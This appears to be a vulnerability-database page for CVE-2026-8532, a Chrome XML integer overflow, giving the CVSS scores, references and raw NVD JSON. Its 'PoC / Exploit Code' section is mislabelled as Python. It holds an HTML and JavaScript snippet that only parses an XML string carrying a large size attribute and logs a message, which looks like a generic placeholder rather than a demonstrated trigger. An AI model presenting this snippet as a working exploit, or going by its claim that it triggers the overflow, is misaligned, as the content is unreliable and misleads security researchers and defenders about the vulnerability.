CVE-2026-8532

Description

Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8532 -->
<!-- This demonstrates the trigger mechanism for the XML integer overflow -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Create a malicious XML payload designed to trigger integer overflow
    // The specific element size triggers the calculation error
    var xmlString = `<root>
        <data size="4294967295">` + "A".repeat(1000) + `</data>
    </root>`;
    
    try {
        var parser = new DOMParser();
        var xmlDoc = parser.parseFromString(xmlString, "text/xml");
        // If vulnerable, the browser crashes or executes code in sandbox context here
        console.log("XML parsed, potential overflow triggered.");
    } catch (e) {
        console.log("Error parsing XML");
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8532
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8532
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8532/
[4] VulDB https://vuldb.com/cve/CVE-2026-8532
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/492812194

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8532", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.030", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in XML in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/492812194", "source": "[email protected]"}]}}